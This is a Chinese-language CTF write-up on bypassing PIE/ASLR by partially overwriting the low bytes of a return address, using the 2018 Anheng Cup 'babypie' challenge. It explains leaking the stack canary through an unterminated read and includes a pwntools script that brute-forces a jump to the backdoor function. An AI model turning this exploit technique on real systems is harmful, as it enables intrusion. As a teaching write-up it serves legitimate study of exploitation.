仅供个人学习参考

原理

我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护

例题

2018 - 安恒杯 - babypie https://raw.githubusercontent.com/GNchen1/Pages/main/Img/babypie

可以看到保护全开(除了relro半开)
1
ida查看,发现有两次栈溢出,且有后门函数
1
在第一次 read 之后紧接着就有一个输出, 而 read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会。我们利用第一次read泄露canary
而返回地址与 get shell 函数的地址只有低位的 16 bit 不同,而返回地址低两位字节中只有4 bit是无法控制的,如果覆写低 16 bit 为 0x?A3F, 就有一定的几率 get shell
所以考虑低位爆破后门函数的地址

canary为了防止被泄露,最低字节固定为\x00,所以我们可以覆盖这个字节来达到泄露的目的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
# context.log_level = "debug"

while True:
try:
io = process("./babypie", timeout = 1)

# 泄露canary
io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
io.recvuntil('a' * (0x30 - 0x8 + 1))
canary = '\0' + io.recvn(7)
success(canary.encode('hex'))

# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3f\x0A') #考虑栈对齐

io.interactive()
except Exception as e:
io.close()
print e

这种技巧不止在栈上有效, 在堆上也是一种有效的绕过地址随机化的手段